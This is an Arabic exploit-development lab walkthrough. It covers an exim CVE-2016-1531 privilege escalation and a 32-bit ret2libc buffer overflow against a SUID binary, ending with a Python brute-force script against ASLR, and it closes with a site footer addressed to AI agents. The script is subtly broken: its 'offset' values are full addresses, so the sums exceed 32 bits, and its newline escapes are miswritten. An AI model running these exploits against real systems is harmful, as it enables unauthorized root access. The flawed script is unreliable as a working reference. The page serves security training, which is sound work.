> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Linux Buffer Overflow - مخصص

## المثال الأول للثنائي المخصص (Pdmenu/exim):

<details>

<summary>قم بتنزيل الآلة <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>استخراج</strong></a></summary>

</details>

> يركز المثال الأول على استغلال الثنائي الشرعي exim-4.84-7، والذي يحتوي على ثغرة محددة باسم CVE-2016-1531. تتيح هذه الثغرة للمهاجم تنفيذ أوامر بصلاحيات مرتفعة عبر إساءة استخدام بعض متغيرات البيئة.

* في هذه الحالة، عندما نصل إلى المستخدم Paul، يتم **Pdmenu** إسنادها إليه مع بعض الوظائف (عرض الدلائل، تحرير الملفات، تشغيل ping، إلخ):

<figure><img src="/files/fb0389e3a777ae948fd903e2a8397d8f9c542bad" alt=""><figcaption></figcaption></figure>

* للهروب من هذه القائمة، نقوم **بتحرير ملف**، على سبيل المثال (etc/host):

<figure><img src="/files/1c4506b256e1078b46c4173845618c42851383ae" alt=""><figcaption></figcaption></figure>

* في هذه الحالة، **vi** يُستخدم كمحرر نصوص:

<figure><img src="/files/fa6f818069f286972ffb872564801d872dc42b2e" alt=""><figcaption></figcaption></figure>

* بالنظر إلى **gtfobins**، إذا قمنا بالتصفية حسب vi، نحصل على الأوامر للخروج من Pdmenu و **تنفيذ غلاف shell**:

<figure><img src="/files/b5865b015edc9ba81cd2370e1fee740d872a9457" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/92d25461ea6e8aacf2437512ca94c36568d4a894" alt=""><figcaption></figcaption></figure>

* نقوم بتصفية **SUID** الملفات ونجد واحدًا يسمى exim:

<figure><img src="/files/76c6e759059ee981a45c7d81e6a88a13e299c689" alt=""><figcaption></figcaption></figure>

* باستخدام **searchsploit** الأداة، نبحث عن الثغرات المحتملة لهذا الثنائي:

<figure><img src="/files/492b58e19a0a61d3cf528e0b17188caf5e268879" alt=""><figcaption></figcaption></figure>

* الآن نزّل السكربت وشغّله عبر **python3** حتى يمكن تحميله بعد اختراق الجهاز:

<figure><img src="/files/c5cf75e8999d114e8d264466873007ee21af7a67" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e3c180f3f006ff710724909574582b85ce2f14cd" alt=""><figcaption></figcaption></figure>

* ننفذ السكربت وبالفعل يتم استغلال ثغرة هذا الثنائي، وبالتالي نحصل على **وصول root**:<br>

  <figure><img src="/files/a3d4d4bd258d6274232035da1e47b23229026f67" alt=""><figcaption></figcaption></figure>

## المثال الثاني (تجاوز سعة المخزن المؤقت):

<details>

<summary><strong>نزّل</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>Ubuntu</strong></a> <strong>الآلة الضعيفة</strong></summary>

</details>

<details>

<summary><strong>ثبّت الأداة</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> المثال الثاني يتعلق بـ **تجاوز سعة المخزن المؤقت** في ثنائي مخصص [ملف تنفيذي](https://hack4u.io/wp-content/uploads/2023/04/custom) على جهاز لينكس 32-بت مع تفعيل وسائل الحماية وASLR. في هذه الحالة، نركز على استغلال ret2libc في ثنائي لديه أذونات SUID ومملوك للجذر. من خلال تجاوز سعة المخزن المؤقت، نوضح كيفية حقن أوامر بصلاحيات مرتفعة ورفع صلاحيات المستخدم.

\***تجاوز سعة المخزن المؤقت** يتضمن الكتابة فوق بعض سجلات النظام، وبما أن الثنائي تم إنشاؤه بواسطة المستخدم وينتمي إلى مجموعة الجذر، **فسوف يعمل كمستخدم ذي صلاحيات مرتفعة**:

<figure><img src="/files/7f1ba1f1b69ae33873363c515fdf347932d3e028" alt=""><figcaption></figcaption></figure>

* الثنائي المسمى "custom" يتوقع **مدخلاً نصيًا** وعند تشغيله، لا يحدث شيء:

<div data-full-width="true"><figure><img src="/files/9ccea03a426a1eb9e445c654a407b4cfdaea4671" alt=""><figcaption></figcaption></figure></div>

* لكن إذا أدخلنا **سلسلة طويلة جدًا**، فستظهر رسالة خطأ (core dumped):

<div data-full-width="true"><figure><img src="/files/4f48ce21602b393279488d01a1c4f6954273ab8f" alt=""><figcaption></figcaption></figure></div>

نرسل **سلسلة قصيرة** من AAAAAAAA ولا **تظهر أخطاء**:

* لتحليل الثنائي بعمق، سنستخدم **gdb-peda** الأداة.

<figure><img src="/files/01ea074e31fbbe91d91d7aff846f9fcf908e3a2d" alt=""><figcaption></figcaption></figure>

* لكن إذا أرسلنا **العديد من المحارف**، نحصل على الخطأ التالي:

<figure><img src="/files/8ebf8615f16c9a766b1bfaff92ad89ea438d3fb6" alt=""><figcaption></figcaption></figure>

1. أول شيء يجب فعله هو **تحديد العدد الإجمالي من المحارف** المطلوب لكتابة فوق السجل (EIP).

* تتمثل الطريقة الأولى في استخدام **نمط (pattern)** يُنشئ سلسلة **مصممة مكانيًا** (في هذه الحالات، 300 محرف) في تنفيذاتنا داخل الثنائي:

<div data-full-width="true"><figure><img src="/files/f30e6c8186674fb2e1dbad7044e4518c5ee4d2c1" alt=""><figcaption></figcaption></figure></div>

* في استجابة **EIP**، نعلم أن **السلسلة الظاهرة في الأسفل** هي "AA8A":

<figure><img src="/files/0e768d5c750c1400b114e3dbb98b94466a3dbdbb" alt=""><figcaption></figcaption></figure>

* الـ **الوضع** الآلي للأداة يتم باستخدام `pattern offset $eip` الأمر:

<figure><img src="/files/fb71ae6dd4abf722138e69c14f7c32c4bcb14e54" alt=""><figcaption></figcaption></figure>

* للتحقق من ذلك، نستخدم **python3** عن طريق إرسال 112 محرف A ثم 4 محارف B أخيرة:

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* في الواقع، نؤكد الآن النهاية بفضل **EIP** الذي يكتشف محارف B الأربعة الأخيرة:

<figure><img src="/files/e58ed712cc50e9666fe5277db8ed7735989cc7e5" alt=""><figcaption></figcaption></figure>

2. بمجرد أن نعرف العدد الأقصى من المحارف، نقوم **التحقق من ASLR** الذي سيحدد ما إذا كان هناك **عشوائية في عناوين الذاكرة** أم لا:

/- باستخدام الأمر التالي نقوم بتصفية المحارف التي تهمنا تحديدًا لتشغيل الثنائي 10 مرات لمعرفة ما إذا كان يتغير في كل مرة ولمعرفة ما إذا كانت **مكتبة C** عشوائية أم لا:

إنها بالفعل "عشوائية"

<figure><img src="/files/4b3e3ec53e964e616c67967ab445e71ff5e40b2a" alt=""><figcaption></figcaption></figure>

3. المشكلة مع هذه **الثنائيات 32-بت** غالبًا أنه إذا شغّلنا مثلًا الآن **1000 مرة** A وفلترنا بسلسلة ثابتة، نرى أنه في كل مرة، **سيتكرر مرة واحدة على الأقل**:

<div data-full-width="true"><figure><img src="/files/a7e954c081a6a8d993ac6cde45235851501ef953" alt=""><figcaption></figcaption></figure></div>

4. الهدف الآن هو أولًا العثور على **EIP** محارف (**system + exit + bin/\_sh**)، والتي ستكون ثابتة دائمًا وضرورية لتنفيذ **Bash كجذر** كما في المثال التالي ولكن بلغة بايثون:

   <br>

   <figure><img src="/files/96ed6a2addb545c0021b763b2fcb964f6b2d64c5" alt=""><figcaption></figcaption></figure>

* ننشىء **نقطة توقف** حتى يتوقف تدفق البرنامج هنا:

<figure><img src="/files/5075c594e419f2ada10ee3e19a7ae8f18bdb03f3" alt=""><figcaption></figcaption></figure>

* نحقن **EIP** الخاص بـ (system/exit/bin/\_sh):<br>

  <figure><img src="/files/32b4181a4db6632f245a8607f789311a9b20e6a9" alt=""><figcaption></figcaption></figure>

5. بمجرد أن نرى أن هناك **عشوائية**، سنحتاج إلى استخدام **القوة الغاشمة** حتى يصبح **base/\_libc/\_addr** مساويًا للقيمة المطلوبة:

/- باستخدام ما يلي سنرى **المكتبات التي تعمل** (في هذه الحالة **libc.so**):

<figure><img src="/files/1d43264574ddc4130e5747f83790a3351b381512" alt=""><figcaption></figcaption></figure>

* مع **readelf**، نطبق فلاترنا على المكتبة ونبحث عن المتغيرات المحقونة مسبقًا، وهي (**exit و system**) مع الرموز:

<figure><img src="/files/ac0ef97d9e1dbf89393fde6be9ec8203fd2282c0" alt=""><figcaption></figcaption></figure>

* ولإيجاد السلسلة **/bin/sh**، نفعل ما يلي، مع إضافة **0x00** في البداية:

<figure><img src="/files/bcb45f7b373871b3693802835cdf7e3b2d6b2c8f" alt=""><figcaption></figcaption></figure>

سكربت Python3 التالي سيقوم **بأتمتة كل المحاولات العنيفة** حتى **base/\_libc/\_addr** يكون هو نفسه:

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# تجاوز سعة المخزن المؤقت المخصص في لينكس

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] جارٍ الخروج.../n")
        sys.exit(0)
```

<figure><img src="/files/016f30707f5d9b2aae79bb5b1d7f9a5dc597cfb6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
